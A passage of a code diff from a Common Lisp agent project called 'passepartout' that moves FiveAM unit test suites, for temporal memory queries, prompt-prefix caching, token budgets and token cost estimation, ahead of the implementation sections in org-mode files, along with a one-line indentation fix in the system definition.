+    (sleep 1)
+    (let ((t1 (get-universal-time)))
+      (sleep 1)
+      (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil))
+      (sleep 1)
+      (let ((t2 (get-universal-time)))
+        (sleep 1)
+        (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil))
+        (let ((range (passepartout::memory-objects-in-range t1 t2)))
+          (is (= 1 (length range)))
+          (is (string= "rng-2" (memory-object-id (first range)))))))))
+#+end_src
+
 * Implementation
 
 ** Package context
@@ -102,55 +155,3 @@ Falls back to context-query if temporal filtering is not requested."
       (subseq todo-filtered 0 (min max-results (length todo-filtered))))))
 #+end_src
 
-* Test Suite
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-time-memory-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:time-memory-suite))
-
-(in-package :passepartout-time-memory-tests)
-
-(def-suite time-memory-suite :description "Temporal memory filtering")
-(in-suite time-memory-suite)
-
-(test test-memory-objects-since
-  "Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes."
-  (clrhash passepartout::*memory-store*)
-  (let ((t0 (get-universal-time)))
-    (sleep 1)
-    (ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil))
-    (ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil))
-    (sleep 1)
-    (let ((t1 (get-universal-time)))
-      (sleep 1)
-      (ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil))
-      (ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil))
-      (let ((since-t1 (passepartout::memory-objects-since t1)))
-        (is (= 2 (length since-t1)))
-        (let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<)))
-          (is (string= "time-c" (first ids)))
-          (is (string= "time-d" (second ids))))
-        (let ((since-t0 (passepartout::memory-objects-since t0)))
-          (is (= 4 (length since-t0))))))))
-
-(test test-memory-objects-in-range
-  "Contract 2: ingest nodes, verify range query returns correct subset."
-  (clrhash passepartout::*memory-store*)
-  (let ((t0 (get-universal-time)))
-    (sleep 1)
-    (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil))
-    (sleep 1)
-    (let ((t1 (get-universal-time)))
-      (sleep 1)
-      (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil))
-      (sleep 1)
-      (let ((t2 (get-universal-time)))
-        (sleep 1)
-        (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil))
-        (let ((range (passepartout::memory-objects-in-range t1 t2)))
-          (is (= 1 (length range)))
-          (is (string= "rng-2" (memory-object-id (first range)))))))))
-#+end_src

org/token-economics.org

@@ -62,6 +62,108 @@ token-economics is not loaded.
     Returns nil when no context cache data is available. Consumed by
     the TUI actuator for the sidebar Context gauge (v0.8.0).
 
+* Test Suite
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-token-economics-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:token-economics-suite))
+
+(in-package :passepartout-token-economics-tests)
+
+(def-suite token-economics-suite
+    :description "Prompt prefix caching, incremental context, token budget")
+(in-suite token-economics-suite)
+
+(test test-prompt-prefix-cached-identity
+  "Contract 1: prompt-prefix-cached includes identity-content when provided."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((prefix (passepartout::prompt-prefix-cached
+                 "Agent" "### Mode: concise" "" nil "No tools")))
+    (is (stringp prefix))
+    (is (search "IDENTITY" prefix))
+    (is (search "Mode: concise" prefix))
+    (is (search "TOOLS" prefix))))
+
+(test test-prompt-prefix-cached-builds
+  "Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
+    (is (stringp prefix))
+    (is (search "IDENTITY" prefix))
+    (is (search "TOOLS" prefix))))
+
+(test test-prompt-prefix-cached-hits
+  "Contract 1: second call with same inputs returns cached result."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
+        (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
+    (is (string= p1 p2))))
+
+(test test-prompt-prefix-cached-miss
+  "Contract 1: different inputs rebuild the cache."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
+        (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
+    (is (not (string= p1 p2)))
+    (is (search "Bot" p2))))
+
+(test test-context-assemble-cached-skips-heartbeat
+  "Contract 2: heartbeat sensors skip context assembly, return nil."
+  (let ((result (passepartout::context-assemble-cached
+                 '(:foveal-focus "id1") :heartbeat)))
+    (is (null result))))
+
+(test test-context-assemble-cached-skips-delegation
+  "Contract 2: delegation sensors also skip assembly."
+  (let ((result (passepartout::context-assemble-cached
+                 '(:foveal-focus "id1") :delegation)))
+    (is (null result))))
+
+(test test-context-assemble-cached-non-skip
+  "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
+  (let ((result (passepartout::context-assemble-cached
+                 '(:foveal-focus "id1") :user-input)))
+    (is (stringp result))
+    (is (> (length result) 0))))
+
+(test test-enforce-token-budget-passthrough
+  "Contract 3: under-budget prompts pass through unchanged."
+  (multiple-value-bind (p c l u m)
+      (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
+    (is (string= "hi" p))
+    (is (string= "ctxt" c))
+    (is (string= "log" l))
+    (is (string= "user" u))
+    (is (null m))))
+
+(test test-enforce-token-budget-trims
+  "Contract 3: over-budget prompts get trimmed."
+  (let ((big-prefix (make-string 20000 :initial-element #\x)))
+    (multiple-value-bind (p c l u m)
+        (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
+      (declare (ignore p l u m))
+      ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
+      (is (or (stringp c) (null c)))
+      (is (search "[Context trimmed" (or c ""))))))
+
+(test test-token-economics-initialize
+  "Contract 4: initialize zeroes all cache state."
+  (setf (car passepartout::*prompt-prefix-cache*) 12345
+        (cdr passepartout::*prompt-prefix-cache*) "stale")
+  (setf (getf passepartout::*context-cache* :rendered) "stale context")
+  (passepartout::token-economics-initialize)
+  (is (null (car passepartout::*prompt-prefix-cache*)))
+  (is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
+  (is (string= "" (getf passepartout::*context-cache* :rendered))))
+#+end_src
+
 * Implementation
 
 ** Package context
@@ -209,108 +311,6 @@ Returns nil when no context cache data is available."
         nil)))
 #+end_src
 
-* Test Suite
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-token-economics-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:token-economics-suite))
-
-(in-package :passepartout-token-economics-tests)
-
-(def-suite token-economics-suite
-    :description "Prompt prefix caching, incremental context, token budget")
-(in-suite token-economics-suite)
-
-(test test-prompt-prefix-cached-identity
-  "Contract 1: prompt-prefix-cached includes identity-content when provided."
-  (setf (car passepartout::*prompt-prefix-cache*) nil
-        (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((prefix (passepartout::prompt-prefix-cached
-                 "Agent" "### Mode: concise" "" nil "No tools")))
-    (is (stringp prefix))
-    (is (search "IDENTITY" prefix))
-    (is (search "Mode: concise" prefix))
-    (is (search "TOOLS" prefix))))
-
-(test test-prompt-prefix-cached-builds
-  "Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
-  (setf (car passepartout::*prompt-prefix-cache*) nil
-        (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
-    (is (stringp prefix))
-    (is (search "IDENTITY" prefix))
-    (is (search "TOOLS" prefix))))
-
-(test test-prompt-prefix-cached-hits
-  "Contract 1: second call with same inputs returns cached result."
-  (setf (car passepartout::*prompt-prefix-cache*) nil
-        (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
-        (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
-    (is (string= p1 p2))))
-
-(test test-prompt-prefix-cached-miss
-  "Contract 1: different inputs rebuild the cache."
-  (setf (car passepartout::*prompt-prefix-cache*) nil
-        (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
-        (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
-    (is (not (string= p1 p2)))
-    (is (search "Bot" p2))))
-
-(test test-context-assemble-cached-skips-heartbeat
-  "Contract 2: heartbeat sensors skip context assembly, return nil."
-  (let ((result (passepartout::context-assemble-cached
-                 '(:foveal-focus "id1") :heartbeat)))
-    (is (null result))))
-
-(test test-context-assemble-cached-skips-delegation
-  "Contract 2: delegation sensors also skip assembly."
-  (let ((result (passepartout::context-assemble-cached
-                 '(:foveal-focus "id1") :delegation)))
-    (is (null result))))
-
-(test test-context-assemble-cached-non-skip
-  "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
-  (let ((result (passepartout::context-assemble-cached
-                 '(:foveal-focus "id1") :user-input)))
-    (is (stringp result))
-    (is (> (length result) 0))))
-
-(test test-enforce-token-budget-passthrough
-  "Contract 3: under-budget prompts pass through unchanged."
-  (multiple-value-bind (p c l u m)
-      (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
-    (is (string= "hi" p))
-    (is (string= "ctxt" c))
-    (is (string= "log" l))
-    (is (string= "user" u))
-    (is (null m))))
-
-(test test-enforce-token-budget-trims
-  "Contract 3: over-budget prompts get trimmed."
-  (let ((big-prefix (make-string 20000 :initial-element #\x)))
-    (multiple-value-bind (p c l u m)
-        (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
-      (declare (ignore p l u m))
-      ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
-      (is (or (stringp c) (null c)))
-      (is (search "[Context trimmed" (or c ""))))))
-
-(test test-token-economics-initialize
-  "Contract 4: initialize zeroes all cache state."
-  (setf (car passepartout::*prompt-prefix-cache*) 12345
-        (cdr passepartout::*prompt-prefix-cache*) "stale")
-  (setf (getf passepartout::*context-cache* :rendered) "stale context")
-  (passepartout::token-economics-initialize)
-  (is (null (car passepartout::*prompt-prefix-cache*)))
-  (is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
-  (is (string= "" (getf passepartout::*context-cache* :rendered))))
-#+end_src
-
 * v0.8.0 Tests — Context Usage
 #+begin_src lisp
 (in-package :passepartout-token-economics-tests)

org/tokenizer.org

@@ -30,6 +30,81 @@ The tokenizer feeds three subsystems:
    model and token count (combined input+output at input prices — slight
    overestimate is safer than underestimate for budgeting).
 
+* Test Suite
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-tokenizer-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:tokenizer-suite))
+
+(in-package :passepartout-tokenizer-tests)
+
+(def-suite tokenizer-suite :description "Token counting and cost estimation")
+(in-suite tokenizer-suite)
+
+(test test-count-tokens-default
+  "Contract 1: count-tokens returns non-zero for a non-empty string."
+  (let ((count (count-tokens "hello world")))
+    (is (> count 0))
+    (is (integerp count))))
+
+(test test-count-tokens-known-model
+  "Contract 1: count-tokens with a known model returns a count."
+  (let ((count (count-tokens "hello world" :model :gpt-4o-mini)))
+    (is (> count 0))
+    (is (integerp count))))
+
+(test test-count-tokens-unknown-model
+  "Contract 1: count-tokens with an unknown model falls back to default."
+  (let ((count (count-tokens "hello world" :model :unknown-model-xyz)))
+    (is (> count 0))
+    (is (integerp count))))
+
+(test test-count-tokens-empty
+  "Contract 1: count-tokens on empty string returns 0."
+  (let ((count (count-tokens "")))
+    (is (= 0 count))))
+
+(test test-model-token-ratio-known
+  "Contract 2: known model returns correct ratio."
+  (is (= 4.0 (model-token-ratio :gpt-4o-mini)))
+  (is (= 4.5 (model-token-ratio :claude-3-5-sonnet)))
+  (is (= 3.5 (model-token-ratio :llama-3.1-70b))))
+
+(test test-model-token-ratio-unknown
+  "Contract 2: unknown model returns default ratio."
+  (is (= 4.0 (model-token-ratio :unknown-model-abc))))
+
+(test test-token-cost-known
+  "Contract 3: token-cost returns a number for known model."
+  (let ((cost (token-cost :gpt-4o-mini 1000)))
+    (is (numberp cost))
+    (is (> cost 0.0))))
+
+(test test-token-cost-unknown
+  "Contract 3: token-cost returns 0.0 for unknown model."
+  (is (= 0.0 (token-cost :no-such-model 1000))))
+
+(test test-provider-token-cost
+  "Contract: provider-token-cost maps provider to model price."
+  (let ((cost (provider-token-cost :deepseek 1000)))
+    (is (numberp cost))
+    (is (> cost 0.0))))
+
+(test test-count-tokens-ratio-sensitivity
+  "Contract 1: longer text produces proportionally more tokens."
+  (let ((short (count-tokens "hi" :model :gpt-4o-mini))
+        (long  (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini)))
+    (is (> long short))))
+
+(test test-count-tokens-non-string
+  "Contract 1: non-string values are coerced and counted."
+  (let ((count (count-tokens 12345)))
+    (is (> count 0))))
+#+end_src
+
 * Implementation
 
 ** Package Context
@@ -150,77 +225,3 @@ Uses the provider's default model for pricing."
         0.0)))
 #+end_src
 
-* Test Suite
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-tokenizer-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:tokenizer-suite))
-
-(in-package :passepartout-tokenizer-tests)
-
-(def-suite tokenizer-suite :description "Token counting and cost estimation")
-(in-suite tokenizer-suite)
-
-(test test-count-tokens-default
-  "Contract 1: count-tokens returns non-zero for a non-empty string."
-  (let ((count (count-tokens "hello world")))
-    (is (> count 0))
-    (is (integerp count))))
-
-(test test-count-tokens-known-model
-  "Contract 1: count-tokens with a known model returns a count."
-  (let ((count (count-tokens "hello world" :model :gpt-4o-mini)))
-    (is (> count 0))
-    (is (integerp count))))
-
-(test test-count-tokens-unknown-model
-  "Contract 1: count-tokens with an unknown model falls back to default."
-  (let ((count (count-tokens "hello world" :model :unknown-model-xyz)))
-    (is (> count 0))
-    (is (integerp count))))
-
-(test test-count-tokens-empty
-  "Contract 1: count-tokens on empty string returns 0."
-  (let ((count (count-tokens "")))
-    (is (= 0 count))))
-
-(test test-model-token-ratio-known
-  "Contract 2: known model returns correct ratio."
-  (is (= 4.0 (model-token-ratio :gpt-4o-mini)))
-  (is (= 4.5 (model-token-ratio :claude-3-5-sonnet)))
-  (is (= 3.5 (model-token-ratio :llama-3.1-70b))))
-
-(test test-model-token-ratio-unknown
-  "Contract 2: unknown model returns default ratio."
-  (is (= 4.0 (model-token-ratio :unknown-model-abc))))
-
-(test test-token-cost-known
-  "Contract 3: token-cost returns a number for known model."
-  (let ((cost (token-cost :gpt-4o-mini 1000)))
-    (is (numberp cost))
-    (is (> cost 0.0))))
-
-(test test-token-cost-unknown
-  "Contract 3: token-cost returns 0.0 for unknown model."
-  (is (= 0.0 (token-cost :no-such-model 1000))))
-
-(test test-provider-token-cost
-  "Contract: provider-token-cost maps provider to model price."
-  (let ((cost (provider-token-cost :deepseek 1000)))
-    (is (numberp cost))
-    (is (> cost 0.0))))
-
-(test test-count-tokens-ratio-sensitivity
-  "Contract 1: longer text produces proportionally more tokens."
-  (let ((short (count-tokens "hi" :model :gpt-4o-mini))
-        (long  (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini)))
-    (is (> long short))))
-
-(test test-count-tokens-non-string
-  "Contract 1: non-string values are coerced and counted."
-  (let ((count (count-tokens 12345)))
-    (is (> count 0))))
-#+end_src

passepartout.asd

@@ -6,7 +6,7 @@
   :description "The Probabilistic-Deterministic Lisp Machine"
   :depends-on (:usocket :bordeaux-threads :dexador :uiop :cl-dotenv :cl-ppcre :hunchentoot :ironclad :str :cl-json :uuid)
   :serial t
-   :components ((:file "lisp/core-package")
+  :components ((:file "lisp/core-package")
                (:file "lisp/core-skills")
                (:file "lisp/core-transport")
                (:file "lisp/core-memory")